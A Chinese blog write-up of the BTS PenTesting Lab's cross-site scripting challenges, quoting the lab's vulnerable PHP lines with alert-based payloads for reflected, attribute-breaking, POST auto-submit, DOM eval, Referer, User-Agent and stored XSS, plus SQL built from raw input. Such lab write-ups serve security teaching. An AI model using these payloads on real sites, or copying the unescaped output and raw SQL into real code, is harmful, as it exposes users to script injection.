BTS PenTesting Lab - A3 XSS

Reflected(GET)

Challenge 1
  • 源文件://btslab/vulnerability/xss/xss1.php

这里写图片描述

# 第8行
<?php if(isset($_GET['keyword'])) echo "No results found for ".$_GET['keyword']?>

直接echo提交过来的内容,提交<script>alert('xss');</script>

这里写图片描述

地址

http://192.168.1.228/vulnerability/xss/xss1.php?keyword=%3Cscript%3Ealert%28%27xxs%27%29%3B%3C%2Fscript%3E&Search=Search
Challenge 2
  • 源文件://btslab/vulnerability/xss/xss2.php

这里写图片描述

# 第5行
<form action="xss2.php" method="get" style="background-color:<?php if(isset($_GET['clr'])) echo $_GET['clr']?>">

直接echo提交过来的内容,先让style双引号闭合,然构造form标签属性触发事件即可,比如鼠标经过、离开事件等,构造red” οnmοuseenter=”alert(‘xss’)提交

这里写图片描述

地址

http://192.168.1.228/vulnerability/xss/xss2.php?clr=red%22%20onmouseenter=%22alert%28%27xss%27%29&Change=Change

还有后面还有一句

<?php if(isset($_GET['keyword'])) echo "No results found for ".$_GET['keyword']?>

构造&keyword=<script>alert('xss');</script>即可

Challenge 3
  • 源文件://btslab/vulnerability/xss/xss3.php

这里写图片描述

鼠标经过有提示

这里写图片描述

# 第2行
<?php if($_GET['t']) echo $_GET['t']; else echo 'title';?>

直接闭合title属性,加入a标签属性触发js即可,构造1” οnclick=”javascript:alert(‘xss’);提交,点击链接触发

这里写图片描述

地址

192.168.1.228/vulnerability/xss/xss3.php?t=1" onclick="javascript:alert('xss');
Challenge 4
  • 源文件://btslab/vulnerability/xss/xss4.php

这里写图片描述

# 第10行
<input type="text" name="keyword" value=<?php if($_GET['keyword']) echo htmlspecialchars($_GET['keyword']); else echo 'Search';?> >

htmlspecialchars默认配置不编码单引号,设置了quotestyle选项为ENT_QUOTES才会编码单引号,构造red onmouseenter=alert('xss')提交,鼠标经过触发

这里写图片描述

地址

http://192.168.1.228/vulnerability/xss/xss4.php?keyword=red+onmouseenter%3Dalert%28%27xss%27%29&Search=Search

POST Based

  • 源文件://btslab/vulnerability/xss/postxss.php

这里写图片描述

# 第13行
echo "Hello ".$_POST['name'].", Welcome to BTS Lab";

提交再输出,这样需要构造个表单,把文件扔到其他地方的网站,让用户访问自动post过来触发

<form action="http://192.168.1.228/vulnerability/xss/postxss.php" method="post" name="xss">
    <input type=text name=name value="<script>alert('xss');</script>"></input>
    <input type="submit" value="submit" />
</form>

<script>
    document.xss.submit();
</script>

这里写图片描述

DOM Based

  • 源文件:/btslab/vulnerability/xss/dom.php

这里写图片描述

# 第21-22行
var loc=location.hash.slice(1);
eval(loc);

在firefox下取出来的loc会被编码,所有需处理,提交

dom.php#alert(String.fromCharCode(120,115,115))

这里写图片描述

HTTP Referer

Challenge 1
  • 源文件:/btslab/vulnerability/xss/xss-referer.php (这里连接和下一题重复,在header.php把后面的2去掉)

这里写图片描述

在chrome和firefox中,query会被URL编码,IE不会,只要跳转即可

<a href="http://192.168.1.228/vulnerability/xss/xss-referer.php">xss</a>

构造连接后加上参数?<script>alert('xss');</script>

http://192.168.1.228/xss.html?<script>alert('xss');</script>

用IE跳转效果

这里写图片描述

Challenge 2
  • 源文件:/btslab/vulnerability/xss/xss-referer2.php

这里写图片描述

用strpos在 SERVER[HTTPREFERER] _SERVER [‘HTTP_HOST’]看来源是否一致

<a href="http://192.168.1.228/vulnerability/xss/xss-referer2.php">xss</a>
http://192.168.1.228/xss.html?<script>alert('xss');</script>

User Agent Header

  • 源文件:/btslab/vulnerability/xss/xss-user-agent.php

这里写图片描述

利用场景:有些CMS后台可以显示用户信息,比如浏览器版本等从HTTP_USER_AGENT中提取,如未经过滤就可以盲打管理员,HTTP_REFERER也类似

模拟以一下修改USER-AGENT的效果

这里写图片描述

Flash Based

Challenge 1
  • 源文件:/btslab/vulnerability/xss/flash/xss1.swf

地址

http://192.168.1.228/vulnerability/xss/flash/xss1.swf?vuln=

反编译xss1.swf

这里写图片描述

由于flash版本问题,问题大概出在这,自行测试

Challenge 2
  • 源文件:/btslab/vulnerability/xss/flash/exss.php

这里写图片描述

反编译xss2.swf
这里写图片描述

由于flash版本问题,问题大概出在这,自行测试

Stored XSS(Persistent)

  • 源文件:/btslab/vulnerability/forum.php

关键代码:

这里写图片描述

# 第34-46行

 34 if(isset($_POST['post']))
 35     {
 36     $content=$_POST['content'];
 37     $title=$_POST['title'];
 38     if(isset($_SESSION['isLoggedIn']))
 39     {
 40         $user=$_SESSION['username'];
 41     }
 42     else
 43     {
 44         $user="Anonymous";
 45     }
 46     mysql_query("INSERT into posts(content,title,user) values ('$content','$title','$user')") or die("Failed to post ".mysql_error());
 47     }

title、content均没处理就带到了数据库

  • 源文件:/btslab/vulnerability/ForumPosts.php

这里写图片描述

去出数据的时候也未进行处理,内容提交

</script>alert(\'xss\');</script>

点击列表访问

这里写图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值